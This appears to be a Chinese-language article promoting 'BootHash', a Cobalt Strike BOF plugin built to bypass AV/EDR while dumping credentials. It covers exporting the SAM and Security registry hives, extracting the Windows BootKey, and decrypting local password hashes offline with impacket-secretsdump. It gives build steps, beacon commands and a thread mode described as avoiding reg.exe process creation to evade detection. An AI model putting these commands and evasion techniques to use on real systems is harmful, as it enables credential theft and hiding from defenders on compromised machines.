ARTICLE · 1001970
BOF插件绕过EDR实现DumpHash
BOF插件绕过EDR实现DumpHash根据之前@曾哥文章中的抓取hash思路重写了一个BOF插件,在原功能基础上新增了一个-thread导出方式(用于某场景),应该还能绕过部分AV/EDR吧…?具体还能过哪些我没有去细测…!




学习网安实战技术,戳“阅读原文”
BootHash BOF
BootHash BOF 主要用于导出目标主机 HKLM\SAM 和 HKLM\Security 注册表项为 .reg 文件,并提取 Windows BootKey;可以使用 RegReduction.ps1 + impacket-secretsdump 离线解密提取目标主机哈希。
原项目地址:https://github.com/AabyssZG/HashDump-BypassEDR
功能特性
导出注册表:将 SAM和Security注册表项导出为标准.reg格式文件提取 BootKey:从 HKLM\SYSTEM\CurrentControlSet\Control\Lsa提取 Windows 启动密钥双导出模式:支持 process(默认,通过reg.exe进程导出)和thread(当前线程内 API 递归导出)两种方式权限检查:执行前自动检查并启用 SeBackupPrivilege特权命令提示:导出成功后自动输出 impacket-secretsdump离线解密命令,可直接复制使用双传参模式:同时支持 inline-execute命令行传参和 CNA 脚本bof_pack传参
项目结构
BootHash/├── entry.c # BOF 主源码├── beacon.h # Cobalt Strike BOF API 声明├── BootHash.cna # CNA 脚本(注册 boothash 命令)├── Makefile # 交叉编译 Makefile (mingw-w64)编译
需要 mingw-w64 交叉编译工具链(Kali/Linux):
cd BootHashmake编译完成后会生成 BootHash.x64.o 和 BootHash.x86.o。
使用方法
参数说明
-path <folder> | |
-t <method> | process(默认)或 thread |
-bootkey |
方式一:inline-execute 命令行
# 导出注册表(默认 process 方式)beacon> inline-execute BootHash.x64.o -path C:\Windows\Temp# 使用 thread 方式导出(当前线程内 API 导出,不创建 reg.exe 进程)beacon> inline-execute BootHash.x64.o -path C:\Windows\Temp -t thread# 仅提取 BootKeybeacon> inline-execute BootHash.x64.o -bootkey
方式二:CNA 脚本
在 Cobalt Strike 中加载 BootHash.cna脚本使用注册的 boothash命令:
# 导出注册表beacon> boothash -path C:\Windows\Temp# 使用 thread 方式导出beacon> boothash -path C:\Windows\Temp -t thread# 仅提取 BootKeybeacon> boothash -bootkey
导出方式说明
process | reg.exe 进程导出 | ||
thread |
注意:
process模式会优先尝试调用advapi32.dll的未文档化函数RegExportKey,若失败则回退为CreateProcessW执行reg.exe。
权限要求
需要 管理员权限( SeBackupPrivilege)导出 SAM/Security 注册表需要 SYSTEM 或具有备份特权的管理员令牌
离线解密
将导出的 .reg 文件下载到本地后,先使用 RegReduction.ps1 还原为 .hive 文件,再使用 impacket-secretsdump 进行离线解密:
impacket-secretsdump -sam sam.hive -security security.hive -bootkey <bootkey> LOCAL
